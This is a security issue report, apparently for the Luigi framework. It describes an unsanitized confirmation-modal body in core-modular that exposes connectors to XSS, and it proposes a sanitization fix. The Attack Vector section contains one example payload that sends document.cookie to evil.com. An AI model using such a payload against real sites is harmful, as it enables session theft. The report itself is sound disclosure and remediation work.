Summary

The confirmation modal body field is not sanitized in core-modular before being passed to the connector's renderConfirmationModal(). This means any connector implementation (UI5 Svelte library, custom connectors) that renders the body as HTML is vulnerable to XSS attacks from micro-frontends.

Attack Vector

A micro-frontend can inject arbitrary JavaScript via LuigiClient.uxManager().showConfirmationModal():

LuigiClient.uxManager().showConfirmationModal({
  body: '<img src=x onerror="fetch(\'https://evil.com?\'+document.cookie)">'
});

Since the body is passed through unsanitized, any connector using innerHTML or {@html} to render it will execute the injected script.

Current State

• Legacy core (core/src/ConfirmationModal.svelte): Sanitizes via EscapingHelpers.sanatizeHtmlExceptTextFormatting() before rendering — not vulnerable
• core-modular (UXModule.handleConfirmationModalRequest / UxAPI.showConfirmationModal): Does NOT sanitize before calling renderConfirmationModal() on the connector — vulnerable

Proposed Fix

Call EscapingHelpers.sanatizeHtmlExceptTextFormatting() on confirmationModalSettings.body in two places before passing to the connector:

1. src/modules/ux-module.ts — handleConfirmationModalRequest() (client-initiated modals)
2. src/core-api/ux.ts — showConfirmationModal() (core-API-initiated modals)

import { EscapingHelpers } from '../utilities/helpers/escaping-helpers';

// after i18n translation of settings:
confirmationModalSettings = {
  ...confirmationModalSettings,
  body: EscapingHelpers.sanatizeHtmlExceptTextFormatting(confirmationModalSettings.body || '')
};

The function already exists in src/utilities/helpers/escaping-helpers.ts and allows only safe text-formatting tags: <b>, <i>, <br>, <strong>, <em>, <mark>, <small>, <del>, <ins>, <sub>, <sup>.

This protects all current and future connector implementations without requiring each to implement sanitization independently.

Impact

Any connector that renders the body as HTML (which is the expected pattern given that the legacy core supports formatting tags in the body) is affected. This includes the luigi-ui5-library-svelte connector currently in development.